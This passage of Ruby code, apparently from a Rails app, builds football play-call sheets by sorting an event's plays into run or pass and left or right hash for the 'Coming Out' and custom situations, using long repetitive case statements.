9 then gliner_s15 = pglr5\n when 10 then gliner_s15 = pglr4\n when 11 then gliner_s15 = pglr3\n when 12 then gliner_s15 = pglr2\n when 13 then gliner_s15 = pglr1 \n when 14..100 then gliner_s15 = rglr15\n end \n #----------End Goaline---------- \n\n #----------Coming Out----------\n comingOuts = event.plays.where('situation11 = ?', true)\n \n runComingOuts = comingOuts.where('play_type = ?', 'Run')\n runComingOutsLeft = runComingOuts.where('hash_mark = ?', 'Left')\n runComingOutsRight = runComingOuts.where('hash_mark = ?', 'Right')\n \n passComingOuts = comingOuts.where('play_type = ?', 'Pass')\n passComingOutsLeft = passComingOuts.where('hash_mark = ?', 'Left')\n passComingOutsRight = passComingOuts.where('hash_mark = ?', 'Right')\n\n #Run Left Hash\n unless runComingOutsLeft[0].nil? \n rcol1 = runComingOutsLeft[0].fullname \n end\n unless runComingOutsLeft[1].nil? \n rcol2 = runComingOutsLeft[1].fullname \n end\n unless runComingOutsLeft[2].nil? \n rcol3 = runComingOutsLeft[2].fullname \n end\n unless runComingOutsLeft[3].nil? \n rcol4 = runComingOutsLeft[3].fullname \n end\n unless runComingOutsLeft[4].nil? \n rcol5 = runComingOutsLeft[4].fullname\n end\n unless runComingOutsLeft[5].nil? \n rcol6 = runComingOutsLeft[5].fullname \n end\n unless runComingOutsLeft[6].nil? \n rcol7 = runComingOutsLeft[6].fullname\n end \n unless runComingOutsLeft[7].nil? \n rcol8 = runComingOutsLeft[7].fullname \n end\n unless runComingOutsLeft[8].nil? \n rcol9 = runComingOutsLeft[8].fullname \n end\n unless runComingOutsLeft[9].nil? \n rcol10 = runComingOutsLeft[9].fullname \n end\n unless runComingOutsLeft[10].nil? \n rcol11 = runComingOutsLeft[10].fullname \n end\n unless runComingOutsLeft[11].nil? \n rcol12 = runComingOutsLeft[11].fullname\n end\n unless runComingOutsLeft[12].nil? \n rcol13 = runComingOutsLeft[12].fullname \n end\n unless runComingOutsLeft[13].nil? \n rcol14 = runComingOutsLeft[13].fullname\n end \n unless runComingOutsLeft[14].nil? \n rcol15 = runComingOutsLeft[14].fullname\n end \n\n #Run Right Hash\n unless runComingOutsRight[0].nil? \n rcor1 = runComingOutsRight[0].fullname \n end\n unless runComingOutsRight[1].nil? \n rcor2 = runComingOutsRight[1].fullname \n end\n unless runComingOutsRight[2].nil? \n rcor3 = runComingOutsRight[2].fullname \n end\n unless runComingOutsRight[3].nil? \n rcor4 = runComingOutsRight[3].fullname \n end\n unless runComingOutsRight[4].nil? \n rcor5 = runComingOutsRight[4].fullname\n end\n unless runComingOutsRight[5].nil? \n rcor6 = runComingOutsRight[5].fullname \n end\n unless runComingOutsRight[6].nil? \n rcor7 = runComingOutsRight[6].fullname\n end \n unless runComingOutsRight[7].nil? \n rcor8 = runComingOutsRight[7].fullname \n end\n unless runComingOutsRight[8].nil? \n rcor9 = runComingOutsRight[8].fullname \n end\n unless runComingOutsRight[9].nil? \n rcor10 = runComingOutsRight[9].fullname \n end\n unless runComingOutsRight[10].nil? \n rcor11 = runComingOutsRight[10].fullname \n end\n unless runComingOutsRight[11].nil? \n rcor12 = runComingOutsRight[11].fullname\n end\n unless runComingOutsRight[12].nil? \n rcor13 = runComingOutsRight[12].fullname \n end\n unless runComingOutsRight[13].nil? \n rcor14 = runComingOutsRight[13].fullname\n end\n unless runComingOutsRight[14].nil? \n rcor15 = runComingOutsRight[14].fullname\n end\n\n #Pass Left Hash\n unless passComingOutsLeft[0].nil? \n pcol1 = passComingOutsLeft[0].fullname \n end\n unless passComingOutsLeft[1].nil? \n pcol2 = passComingOutsLeft[1].fullname \n end\n unless passComingOutsLeft[2].nil? \n pcol3 = passComingOutsLeft[2].fullname \n end\n unless passComingOutsLeft[3].nil? \n pcol4 = passComingOutsLeft[3].fullname \n end\n unless passComingOutsLeft[4].nil? \n pcol5 = passComingOutsLeft[4].fullname \n end\n unless passComingOutsLeft[5].nil? \n pcol6 = passComingOutsLeft[5].fullname \n end \n unless passComingOutsLeft[6].nil? \n pcol7 = passComingOutsLeft[6].fullname \n end \n unless passComingOutsLeft[7].nil? \n pcol8 = passComingOutsLeft[7].fullname \n end\n unless passComingOutsLeft[8].nil? \n pcol9 = passComingOutsLeft[8].fullname \n end\n unless passComingOutsLeft[9].nil? \n pcol10 = passComingOutsLeft[9].fullname \n end\n unless passComingOutsLeft[10].nil? \n pcol11 = passComingOutsLeft[10].fullname \n end\n unless passComingOutsLeft[11].nil? \n pcol12 = passComingOutsLeft[11].fullname \n end\n unless passComingOutsLeft[12].nil? \n pcol13 = passComingOutsLeft[12].fullname \n end \n unless passComingOutsLeft[13].nil? \n pcol14 = passComingOutsLeft[13].fullname \n end\n unless passComingOutsLeft[14].nil? \n pcol15 = passComingOutsLeft[14].fullname \n end\n\n #Pass Right Hash\n unless passComingOutsRight[0].nil? \n pcor1 = passComingOutsRight[0].fullname \n end\n unless passComingOutsRight[1].nil? \n pcor2 = passComingOutsRight[1].fullname \n end\n unless passComingOutsRight[2].nil? \n pcor3 = passComingOutsRight[2].fullname \n end\n unless passComingOutsRight[3].nil? \n pcor4 = passComingOutsRight[3].fullname \n end\n unless passComingOutsRight[4].nil? \n pcor5 = passComingOutsRight[4].fullname \n end\n unless passComingOutsRight[5].nil? \n pcor6 = passComingOutsRight[5].fullname \n end\n unless passComingOutsRight[6].nil? \n pcor7 = passComingOutsRight[6].fullname \n end \n unless passComingOutsRight[7].nil? \n pcor8 = passComingOutsRight[7].fullname \n end\n unless passComingOutsRight[8].nil? \n pcor9 = passComingOutsRight[8].fullname \n end\n unless passComingOutsRight[9].nil? \n pcor10 = passComingOutsRight[9].fullname \n end\n unless passComingOutsRight[10].nil? \n pcor11 = passComingOutsRight[10].fullname \n end\n unless passComingOutsRight[11].nil? \n pcor12 = passComingOutsRight[11].fullname \n end\n unless passComingOutsRight[12].nil? \n pcor13 = passComingOutsRight[12].fullname \n end\n unless passComingOutsRight[13].nil? \n pcor14 = passComingOutsRight[13].fullname \n end \n unless passComingOutsRight[14].nil? \n pcor15 = passComingOutsRight[14].fullname \n end \n\n #Number of user's run plays in situation 11\n num_cor = self.user.s_name11_num_run\n\n #Left Hash\n # coutl_s0 \n if num_cor > 0\n coutl_s0 = self.user.s_name11 + ' - Run'\n else\n coutl_s0 = self.user.s_name11 + ' - Pass'\n end\n\n #coutl_s1 \n if num_cor > 0\n coutl_s1 = rcol1\n else\n coutl_s1 = pcol1\n end\n\n #coutl_s2\n if num_cor == 0\n coutl_s2 = pcol2\n elsif num_cor == 1\n coutl_s2 = self.user.s_name11 + ' - Pass'\n else num_cor > 1\n coutl_s2 = rcol2\n end\n\n #coutl_s3\n case num_cor\n when 0 then coutl_s3 = pcol3 \n when 1 then coutl_s3 = pcol1\n when 2 then coutl_s3 = self.user.s_name11 + ' - Pass'\n when 3..100 then coutl_s3 = rcol3\n end\n\n #coutl_s4\n case num_cor\n when 0 then coutl_s4 = pcol4 \n when 1 then coutl_s4 = pcol2\n when 2 then coutl_s4 = pcol1\n when 3 then coutl_s4 = self.user.s_name11 + ' - Pass'\n when 4..100 then coutl_s4 = rcol4\n end\n\n #coutl_s5\n case num_cor\n when 0 then coutl_s5 = pcol5 \n when 1 then coutl_s5 = pcol3\n when 2 then coutl_s5 = pcol2\n when 3 then coutl_s5 = pcol1\n when 4 then coutl_s5 = self.user.s_name11 + ' - Pass'\n when 5..100 then coutl_s5 = rcol5\n end\n\n #coutl_s6\n case num_cor\n when 0 then coutl_s6 = pcol6 \n when 1 then coutl_s6 = pcol4\n when 2 then coutl_s6 = pcol3\n when 3 then coutl_s6 = pcol2\n when 4 then coutl_s6 = pcol1\n when 5 then coutl_s6 = self.user.s_name11 + ' - Pass'\n when 6..100 then coutl_s6 = rcol6\n end\n\n #coutl_s7\n case num_cor\n when 0 then coutl_s7 = pcol7 \n when 1 then coutl_s7 = pcol5\n when 2 then coutl_s7 = pcol4\n when 3 then coutl_s7 = pcol3\n when 4 then coutl_s7 = pcol2\n when 5 then coutl_s7 = pcol1\n when 6 then coutl_s7 = self.user.s_name11 + ' - Pass'\n when 7..100 then coutl_s7 = rcol7\n end\n\n #coutl_s8\n case num_cor\n when 0 then coutl_s8 = pcol8 \n when 1 then coutl_s8 = pcol6\n when 2 then coutl_s8 = pcol5\n when 3 then coutl_s8 = pcol4\n when 4 then coutl_s8 = pcol3\n when 5 then coutl_s8 = pcol2\n when 6 then coutl_s8 = pcol1\n when 7 then coutl_s8 = self.user.s_name11 + ' - Pass'\n when 8..100 then coutl_s8 = rcol8\n end\n\n #coutl_s9\n case num_cor\n when 0 then coutl_s9 = pcol9 \n when 1 then coutl_s9 = pcol7\n when 2 then coutl_s9 = pcol6\n when 3 then coutl_s9 = pcol5\n when 4 then coutl_s9 = pcol4\n when 5 then coutl_s9 = pcol3\n when 6 then coutl_s9 = pcol2\n when 7 then coutl_s9 = pcol1\n when 8 then coutl_s9 = self.user.s_name11 + ' - Pass'\n when 9..100 then coutl_s9 = rcol9\n end\n\n #coutl_s10\n case num_cor\n when 0 then coutl_s10 = pcol10 \n when 1 then coutl_s10 = pcol8\n when 2 then coutl_s10 = pcol7\n when 3 then coutl_s10 = pcol6\n when 4 then coutl_s10 = pcol5\n when 5 then coutl_s10 = pcol4\n when 6 then coutl_s10 = pcol3\n when 7 then coutl_s10 = pcol2\n when 8 then coutl_s10 = pcol1\n when 9 then coutl_s10 = self.user.s_name11 + ' - Pass'\n when 10..100 then coutl_s10 = rcol10\n end\n\n #coutl_s11\n case num_cor\n when 0 then coutl_s11 = pcol11 \n when 1 then coutl_s11 = pcol9\n when 2 then coutl_s11 = pcol8\n when 3 then coutl_s11 = pcol7\n when 4 then coutl_s11 = pcol6\n when 5 then coutl_s11 = pcol5\n when 6 then coutl_s11 = pcol4\n when 7 then coutl_s11 = pcol3\n when 8 then coutl_s11 = pcol2\n when 9 then coutl_s11 = pcol1\n when 10 then coutl_s11 = self.user.s_name11 + ' - Pass'\n when 11..100 then coutl_s11 = rcol11\n end\n\n #coutl_s12\n case num_cor\n when 0 then coutl_s12 = pcol12 \n when 1 then coutl_s12 = pcol10\n when 2 then coutl_s12 = pcol9\n when 3 then coutl_s12 = pcol8\n when 4 then coutl_s12 = pcol7\n when 5 then coutl_s12 = pcol6\n when 6 then coutl_s12 = pcol5\n when 7 then coutl_s12 = pcol4\n when 8 then coutl_s12 = pcol3\n when 9 then coutl_s12 = pcol2\n when 10 then coutl_s12 = pcol1\n when 11 then coutl_s12 = self.user.s_name11 + ' - Pass'\n when 12..100 then coutl_s12 = rcol12\n end\n\n #coutl_s13\n case num_cor\n when 0 then coutl_s13 = pcol13 \n when 1 then coutl_s13 = pcol11\n when 2 then coutl_s13 = pcol10\n when 3 then coutl_s13 = pcol9\n when 4 then coutl_s13 = pcol8\n when 5 then coutl_s13 = pcol7\n when 6 then coutl_s13 = pcol6\n when 7 then coutl_s13 = pcol5\n when 8 then coutl_s13 = pcol4\n when 9 then coutl_s13 = pcol3\n when 10 then coutl_s13 = pcol2\n when 11 then coutl_s13 = pcol1\n when 12 then coutl_s13 = self.user.s_name11 + ' - Pass'\n when 13..100 then coutl_s13 = rcol13\n end\n\n #coutl_s14\n case num_cor\n when 0 then coutl_s14 = pcol14 \n when 1 then coutl_s14 = pcol12\n when 2 then coutl_s14 = pcol11\n when 3 then coutl_s14 = pcol10\n when 4 then coutl_s14 = pcol9\n when 5 then coutl_s14 = pcol8\n when 6 then coutl_s14 = pcol7\n when 7 then coutl_s14 = pcol6\n when 8 then coutl_s14 = pcol5\n when 9 then coutl_s14 = pcol4\n when 10 then coutl_s14 = pcol3\n when 11 then coutl_s14 = pcol2\n when 12 then coutl_s14 = pcol1 \n when 13 then coutl_s14 = self.user.s_name11 + ' - Pass'\n when 14..100 then coutl_s14 = rcol14\n end\n\n #coutl_s15\n case num_cor\n when 0 then coutl_s15 = pcol15 \n when 1 then coutl_s15 = pcol13\n when 2 then coutl_s15 = pcol12\n when 3 then coutl_s15 = pcol11\n when 4 then coutl_s15 = pcol10\n when 5 then coutl_s15 = pcol9\n when 6 then coutl_s15 = pcol8\n when 7 then coutl_s15 = pcol7\n when 8 then coutl_s15 = pcol6\n when 9 then coutl_s15 = pcol5\n when 10 then coutl_s15 = pcol4\n when 11 then coutl_s15 = pcol3\n when 12 then coutl_s15 = pcol2\n when 13 then coutl_s15 = pcol1 \n when 14..100 then coutl_s15 = rcol15\n end \n\n\n #Right Hash\n # coutr_s0 would always be blank\n\n #coutr_s1 \n if num_cor > 0\n coutr_s1 = rcor1\n else\n coutr_s1 = pcor1\n end\n\n #coutr_s2\n if num_cor == 0\n coutr_s2 = pcor2\n elsif num_cor == 1\n coutr_s2 = ''\n else num_cor > 1\n coutr_s2 = rcor2\n end\n\n #coutr_s3\n case num_cor\n when 0 then coutr_s3 = pcor3 \n when 1 then coutr_s3 = pcor1\n when 2 then coutr_s3 = ''\n when 3..100 then coutr_s3 = rcor3\n end\n\n #coutr_s4\n case num_cor\n when 0 then coutr_s4 = pcor4 \n when 1 then coutr_s4 = pcor2\n when 2 then coutr_s4 = pcor1\n when 3 then ''\n when 4..100 then coutr_s4 = rcor4\n end\n\n #coutr_s5\n case num_cor\n when 0 then coutr_s5 = pcor5 \n when 1 then coutr_s5 = pcor3\n when 2 then coutr_s5 = pcor2\n when 3 then coutr_s5 = pcor1\n when 4 then coutr_s5 = ''\n when 5..100 then coutr_s5 = rcor5\n end\n\n #coutr_s6\n case num_cor\n when 0 then coutr_s6 = pcor6 \n when 1 then coutr_s6 = pcor4\n when 2 then coutr_s6 = pcor3\n when 3 then coutr_s6 = pcor2\n when 4 then coutr_s6 = pcor1\n when 5 then coutr_s6 = ''\n when 6..100 then coutr_s6 = rcor6\n end\n\n #coutr_s7\n case num_cor\n when 0 then coutr_s7 = pcor7 \n when 1 then coutr_s7 = pcor5\n when 2 then coutr_s7 = pcor4\n when 3 then coutr_s7 = pcor3\n when 4 then coutr_s7 = pcor2\n when 5 then coutr_s7 = pcor1\n when 6 then coutr_s7 = ''\n when 7..100 then coutr_s7 = rcor7\n end\n\n #coutr_s8\n case num_cor\n when 0 then coutr_s8 = pcor8 \n when 1 then coutr_s8 = pcor6\n when 2 then coutr_s8 = pcor5\n when 3 then coutr_s8 = pcor4\n when 4 then coutr_s8 = pcor3\n when 5 then coutr_s8 = pcor2\n when 6 then coutr_s8 = pcor1\n when 7 then coutr_s8 = ''\n when 8..100 then coutr_s8 = rcor8\n end\n\n #coutr_s9\n case num_cor\n when 0 then coutr_s9 = pcor9 \n when 1 then coutr_s9 = pcor7\n when 2 then coutr_s9 = pcor6\n when 3 then coutr_s9 = pcor5\n when 4 then coutr_s9 = pcor4\n when 5 then coutr_s9 = pcor3\n when 6 then coutr_s9 = pcor2\n when 7 then coutr_s9 = pcor1\n when 8 then coutr_s9 = ''\n when 9..100 then coutr_s9 = rcor9\n end\n\n #coutr_s10\n case num_cor\n when 0 then coutr_s10 = pcor10 \n when 1 then coutr_s10 = pcor8\n when 2 then coutr_s10 = pcor7\n when 3 then coutr_s10 = pcor6\n when 4 then coutr_s10 = pcor5\n when 5 then coutr_s10 = pcor4\n when 6 then coutr_s10 = pcor3\n when 7 then coutr_s10 = pcor2\n when 8 then coutr_s10 = pcor1\n when 9 then coutr_s10 = ''\n when 10..100 then coutr_s10 = rcor10\n end\n\n #coutr_s11\n case num_cor\n when 0 then coutr_s11 = pcor11 \n when 1 then coutr_s11 = pcor9\n when 2 then coutr_s11 = pcor8\n when 3 then coutr_s11 = pcor7\n when 4 then coutr_s11 = pcor6\n when 5 then coutr_s11 = pcor5\n when 6 then coutr_s11 = pcor4\n when 7 then coutr_s11 = pcor3\n when 8 then coutr_s11 = pcor2\n when 9 then coutr_s11 = pcor1\n when 10 then coutr_s11 = ''\n when 11..100 then coutr_s11 = rcor11\n end\n\n #coutr_s12\n case num_cor\n when 0 then coutr_s12 = pcor12 \n when 1 then coutr_s12 = pcor10\n when 2 then coutr_s12 = pcor9\n when 3 then coutr_s12 = pcor8\n when 4 then coutr_s12 = pcor7\n when 5 then coutr_s12 = pcor6\n when 6 then coutr_s12 = pcor5\n when 7 then coutr_s12 = pcor4\n when 8 then coutr_s12 = pcor3\n when 9 then coutr_s12 = pcor2\n when 10 then coutr_s12 = pcor1\n when 11 then coutr_s12 = ''\n when 12..100 then coutr_s12 = rcor12\n end\n\n #coutr_s13\n case num_cor\n when 0 then coutr_s13 = pcor13 \n when 1 then coutr_s13 = pcor11\n when 2 then coutr_s13 = pcor10\n when 3 then coutr_s13 = pcor9\n when 4 then coutr_s13 = pcor8\n when 5 then coutr_s13 = pcor7\n when 6 then coutr_s13 = pcor6\n when 7 then coutr_s13 = pcor5\n when 8 then coutr_s13 = pcor4\n when 9 then coutr_s13 = pcor3\n when 10 then coutr_s13 = pcor2\n when 11 then coutr_s13 = pcor1\n when 12 then coutr_s13 = ''\n when 13..100 then coutr_s13 = rcor13\n end\n\n #coutr_s14\n case num_cor\n when 0 then coutr_s14 = pcor14 \n when 1 then coutr_s14 = pcor12\n when 2 then coutr_s14 = pcor11\n when 3 then coutr_s14 = pcor10\n when 4 then coutr_s14 = pcor9\n when 5 then coutr_s14 = pcor8\n when 6 then coutr_s14 = pcor7\n when 7 then coutr_s14 = pcor6\n when 8 then coutr_s14 = pcor5\n when 9 then coutr_s14 = pcor4\n when 10 then coutr_s14 = pcor3\n when 11 then coutr_s14 = pcor2\n when 12 then coutr_s14 = pcor1 \n when 13 then coutr_s14 = ''\n when 14..100 then coutr_s14 = rcor14\n end\n\n #coutr_s15\n case num_cor\n when 0 then coutr_s15 = pcor15 \n when 1 then coutr_s15 = pcor13\n when 2 then coutr_s15 = pcor12\n when 3 then coutr_s15 = pcor11\n when 4 then coutr_s15 = pcor10\n when 5 then coutr_s15 = pcor9\n when 6 then coutr_s15 = pcor8\n when 7 then coutr_s15 = pcor7\n when 8 then coutr_s15 = pcor6\n when 9 then coutr_s15 = pcor5\n when 10 then coutr_s15 = pcor4\n when 11 then coutr_s15 = pcor3\n when 12 then coutr_s15 = pcor2\n when 13 then coutr_s15 = pcor1 \n when 14..100 then coutr_s15 = rcor15\n end \n #----------End Coming Out---------- \n\n #----------Custom 1----------\n customOnes = event.plays.where('situation12 = ?', true)\n \n runCustomOnes = customOnes.where('play_type = ?', 'Run')\n runCustomOnesLeft = runCustomOnes.where('hash_mark = ?', 'Left')\n runCustomOnesRight = runCustomOnes.where('hash_mark = ?', 'Right')\n \n passCustomOnes = customOnes.where('play_type = ?', 'Pass')\n passCustomOnesLeft = passCustomOnes.where('hash_mark = ?', 'Left')\n passCustomOnesRight = passCustomOnes.where('hash_mark = ?', 'Right')\n\n #Run Left Hash\n unless runCustomOnesLeft[0].nil? \n rcuol1 = runCustomOnesLeft[0].fullname \n end\n unless runCustomOnesLeft[1].nil? \n rcuol2 = runCustomOnesLeft[1].fullname \n end\n unless runCustomOnesLeft[2].nil? \n rcuol3 = runCustomOnesLeft[2].fullname \n end\n unless runCustomOnesLeft[3].nil? \n rcuol4 = runCustomOnesLeft[3].fullname \n end\n unless runCustomOnesLeft[4].nil? \n rcuol5 = runCustomOnesLeft[4].fullname\n end\n unless runCustomOnesLeft[5].nil? \n rcuol6 = runCustomOnesLeft[5].fullname \n end\n unless runCustomOnesLeft[6].nil? \n rcuol7 = runCustomOnesLeft[6].fullname\n end \n unless runCustomOnesLeft[7].nil? \n rcuol8 = runCustomOnesLeft[7].fullname \n end\n unless runCustomOnesLeft[8].nil? \n rcuol9 = runCustomOnesLeft[8].fullname \n end\n unless runCustomOnesLeft[9].nil? \n rcuol10 = runCustomOnesLeft[9].fullname \n end\n unless runCustomOnesLeft[10].nil? \n rcuol11 = runCustomOnesLeft[10].fullname \n end\n unless runCustomOnesLeft[11].nil? \n rcuol12 = runCustomOnesLeft[11].fullname\n end\n unless runCustomOnesLeft[12].nil? \n rcuol13 = runCustomOnesLeft[12].fullname \n end\n unless runCustomOnesLeft[13].nil? \n rcuol14 = runCustomOnesLeft[13].fullname\n end \n unless runCustomOnesLeft[14].nil? \n rcuol15 = runCustomOnesLeft[14].fullname\n end \n\n #Run Right Hash\n unless runCustomOnesRight[0].nil? \n rcuor1 = runCustomOnesRight[0].fullname \n end\n unless runCustomOnesRight[1].nil? \n rcuor2 = runCustomOnesRight[1].fullname \n end\n unless runCustomOnesRight[2].nil? \n rcuor3 = runCustomOnesRight[2].fullname \n end\n unless runCustomOnesRight[3].nil? \n rcuor4 = runCustomOnesRight[3].fullname \n end\n unless runCustomOnesRight[4].nil? \n rcuor5 = runCustomOnesRight[4].fullname\n end\n unless runCustomOnesRight[5].nil? \n rcuor6 = runCustomOnesRight[5].fullname \n end\n unless runCustomOnesRight[6].nil? \n rcuor7 = runCustomOnesRight[6].fullname\n end \n unless runCustomOnesRight[7].nil? \n rcuor8 = runCustomOnesRight[7].fullname \n end\n unless runCustomOnesRight[8].nil? \n rcuor9 = runCustomOnesRight[8].fullname \n end\n unless runCustomOnesRight[9].nil? \n rcuor10 = runCustomOnesRight[9].fullname \n end\n unless runCustomOnesRight[10].nil? \n rcuor11 = runCustomOnesRight[10].fullname \n end\n unless runCustomOnesRight[11].nil? \n rcuor12 = runCustomOnesRight[11].fullname\n end\n unless runCustomOnesRight[12].nil? \n rcuor13 = runCustomOnesRight[12].fullname \n end\n unless runCustomOnesRight[13].nil? \n rcuor14 = runCustomOnesRight[13].fullname\n end \n unless runCustomOnesRight[14].nil? \n rcuor15 = runCustomOnesRight[14].fullname\n end \n\n #Pass Left Hash\n unless passCustomOnesLeft[0].nil? \n pcuol1 = passCustomOnesLeft[0].fullname \n end\n unless passCustomOnesLeft[1].nil? \n pcuol2 = passCustomOnesLeft[1].fullname \n end\n unless passCustomOnesLeft[2].nil? \n pcuol3 = passCustomOnesLeft[2].fullname \n end\n unless passCustomOnesLeft[3].nil? \n pcuol4 = passCustomOnesLeft[3].fullname \n end\n unless passCustomOnesLeft[4].nil? \n pcuol5 = passCustomOnesLeft[4].fullname \n end\n unless passCustomOnesLeft[5].nil? \n pcuol6 = passCustomOnesLeft[5].fullname \n end \n unless passCustomOnesLeft[6].nil? \n pcuol7 = passCustomOnesLeft[6].fullname \n end \n unless passCustomOnesLeft[7].nil? \n pcuol8 = passCustomOnesLeft[7].fullname \n end\n unless passCustomOnesLeft[8].nil? \n pcuol9 = passCustomOnesLeft[8].fullname \n end\n unless passCustomOnesLeft[9].nil? \n pcuol10 = passCustomOnesLeft[9].fullname \n end\n unless passCustomOnesLeft[10].nil? \n pcuol11 = passCustomOnesLeft[10].fullname \n end\n unless passCustomOnesLeft[11].nil? \n pcuol12 = passCustomOnesLeft[11].fullname \n end\n unless passCustomOnesLeft[12].nil? \n pcuol13 = passCustomOnesLeft[12].fullname \n end \n unless passCustomOnesLeft[13].nil? \n pcuol14 = passCustomOnesLeft[13].fullname \n end \n unless passCustomOnesLeft[14].nil? \n pcuol15 = passCustomOnesLeft[14].fullname \n end \n\n #Pass Right Hash\n unless passCustomOnesRight[0].nil? \n pcuor1 = passCustomOnesRight[0].fullname \n end\n unless passCustomOnesRight[1].nil? \n pcuor2 = passCustomOnesRight[1].fullname \n end\n unless passCustomOnesRight[2].nil? \n pcuor3 = passCustomOnesRight[2].fullname \n end\n unless passCustomOnesRight[3].nil? \n pcuor4 = passCustomOnesRight[3].fullname \n end\n unless passCustomOnesRight[4].nil? \n pcuor5 = passCustomOnesRight[4].fullname \n end\n unless passCustomOnesRight[5].nil? \n pcuor6 = passCustomOnesRight[5].fullname \n end\n unless passCustomOnesRight[6].nil? \n pcuor7 = passCustomOnesRight[6].fullname \n end \n unless passCustomOnesRight[7].nil? \n pcuor8 = passCustomOnesRight[7].fullname \n end\n unless passCustomOnesRight[8].nil? \n pcuor9 = passCustomOnesRight[8].fullname \n end\n unless passCustomOnesRight[9].nil? \n pcuor10 = passCustomOnesRight[9].fullname \n end\n unless passCustomOnesRight[10].nil? \n pcuor11 = passCustomOnesRight[10].fullname \n end\n unless passCustomOnesRight[11].nil? \n pcuor12 = passCustomOnesRight[11].fullname \n end\n unless passCustomOnesRight[12].nil? \n pcuor13 = passCustomOnesRight[12].fullname \n end\n unless passCustomOnesRight[13].nil? \n pcuor14 = passCustomOnesRight[13].fullname \n end \n unless passCustomOnesRight[14].nil? \n pcuor15 = passCustomOnesRight[14].fullname \n end \n\n #Number of user's run plays in situation 12\n num_cus1r = self.user.s_name12_num_run\n\n #Left Hash\n # cus1l_s0 \n if num_cus1r > 0\n cus1l_s0 = self.user.s_name12 + ' - Run'\n else\n cus1l_s0 = self.user.s_name12 + ' - Pass'\n end\n\n #cus1l_s1 \n if num_cus1r > 0\n cus1l_s1 = rcuol1\n else\n cus1l_s1 = pcuol1\n end\n\n #cus1l_s2\n if num_cus1r == 0\n cus1l_s2 = pcuol2\n elsif num_cus1r == 1\n cus1l_s2 = self.user.s_name12 + ' - Pass'\n else num_cus1r > 1\n cus1l_s2 = rcuol2\n end\n\n #cus1l_s3\n case num_cus1r\n when 0 then cus1l_s3 = pcuol3 \n when 1 then cus1l_s3 = pcuol1\n when 2 then cus1l_s3 = self.user.s_name12 + ' - Pass'\n when 3..100 then cus1l_s3 = rcuol3\n end\n\n #cus1l_s4\n case num_cus1r\n when 0 then cus1l_s4 = pcuol4 \n when 1 then cus1l_s4 = pcuol2\n when 2 then cus1l_s4 = pcuol1\n when 3 then cus1l_s4 = self.user.s_name12 + ' - Pass'\n when 4..100 then cus1l_s4 = rcuol4\n end\n\n #cus1l_s5\n case num_cus1r\n when 0 then cus1l_s5 = pcuol5 \n when 1 then cus1l_s5 = pcuol3\n when 2 then cus1l_s5 = pcuol2\n when 3 then cus1l_s5 = pcuol1\n when 4 then cus1l_s5 = self.user.s_name12 + ' - Pass'\n when 5..100 then cus1l_s5 = rcuol5\n end\n\n #cus1l_s6\n case num_cus1r\n when 0 then cus1l_s6 = pcuol6 \n when 1 then cus1l_s6 = pcuol4\n when 2 then cus1l_s6 = pcuol3\n when 3 then cus1l_s6 = pcuol2\n when 4 then cus1l_s6 = pcuol1\n when 5 then cus1l_s6 = self.user.s_name12 + ' - Pass'\n when 6..100 then cus1l_s6 = rcuol6\n end\n\n #cus1l_s7\n case num_cus1r\n when 0 then cus1l_s7 = pcuol7 \n when 1 then cus1l_s7 = pcuol5\n when 2 then cus1l_s7 = pcuol4\n when 3 then cus1l_s7 = pcuol3\n when 4 then cus1l_s7 = pcuol2\n when 5 then cus1l_s7 = pcuol1\n when 6 then cus1l_s7 = self.user.s_name12 + ' - Pass'\n when 7..100 then cus1l_s7 = rcuol7\n end\n\n #cus1l_s8\n case num_cus1r\n when 0 then cus1l_s8 = pcuol8 \n when 1 then cus1l_s8 = pcuol6\n when 2 then cus1l_s8 = pcuol5\n when 3 then cus1l_s8 = pcuol4\n when 4 then cus1l_s8 = pcuol3\n when 5 then cus1l_s8 = pcuol2\n when 6 then cus1l_s8 = pcuol1\n when 7 then cus1l_s8 = self.user.s_name12 + ' - Pass'\n when 8..100 then cus1l_s8 = rcuol8\n end\n\n #cus1l_s9\n case num_cus1r\n when 0 then cus1l_s9 = pcuol9 \n when 1 then cus1l_s9 = pcuol7\n when 2 then cus1l_s9 = pcuol6\n when 3 then cus1l_s9 = pcuol5\n when 4 then cus1l_s9 = pcuol4\n when 5 then cus1l_s9 = pcuol3\n when 6 then cus1l_s9 = pcuol2\n when 7 then cus1l_s9 = pcuol1\n when 8 then cus1l_s9 = self.user.s_name12 + ' - Pass'\n when 9..100 then cus1l_s9 = rcuol9\n end\n\n #cus1l_s10\n case num_cus1r\n when 0 then cus1l_s10 = pcuol10 \n when 1 then cus1l_s10 = pcuol8\n when 2 then cus1l_s10 = pcuol7\n when 3 then cus1l_s10 = pcuol6\n when 4 then cus1l_s10 = pcuol5\n when 5 then cus1l_s10 = pcuol4\n when 6 then cus1l_s10 = pcuol3\n when 7 then cus1l_s10 = pcuol2\n when 8 then cus1l_s10 = pcuol1\n when 9 then cus1l_s10 = self.user.s_name12 + ' - Pass'\n when 10..100 then cus1l_s10 = rcuol10\n end\n\n #cus1l_s11\n case num_cus1r\n when 0 then cus1l_s11 = pcuol11 \n when 1 then cus1l_s11 = pcuol9\n when 2 then cus1l_s11 = pcuol8\n when 3 then cus1l_s11 = pcuol7\n when 4 then cus1l_s11 = pcuol6\n when 5 then cus1l_s11 = pcuol5\n when 6 then cus1l_s11 = pcuol4\n when 7 then cus1l_s11 = pcuol3\n when 8 then cus1l_s11 = pcuol2\n when 9 then cus1l_s11 = pcuol1\n when 10 then cus1l_s11 = self.user.s_name12 + ' - Pass'\n when 11..100 then cus1l_s11 = rcuol11\n end\n\n #cus1l_s12\n case num_cus1r\n when 0 then cus1l_s12 = pcuol12 \n when 1 then cus1l_s12 = pcuol10\n when 2 then cus1l_s12 = pcuol9\n when 3 then cus1l_s12 = pcuol8\n when 4 then cus1l_s12 = pcuol7\n when 5 then cus1l_s12 = pcuol6\n when 6 then cus1l_s12 = pcuol5\n when 7 then cus1l_s12 = pcuol4\n when 8 then cus1l_s12 = pcuol3\n when 9 then cus1l_s12 = pcuol2\n when 10 then cus1l_s12 = pcuol1\n when 11 then cus1l_s12 = self.user.s_name12 + ' - Pass'\n when 12..100 then cus1l_s12 = rcuol12\n end\n\n #cus1l_s13\n case num_cus1r\n when 0 then cus1l_s13 = pcuol13 \n when 1 then cus1l_s13 = pcuol11\n when 2 then cus1l_s13 = pcuol10\n when 3 then cus1l_s13 = pcuol9\n when 4 then cus1l_s13 = pcuol8\n when 5 then cus1l_s13 = pcuol7\n when 6 then cus1l_s13 = pcuol6\n when 7 then cus1l_s13 = pcuol5\n when 8 then cus1l_s13 = pcuol4\n when 9 then 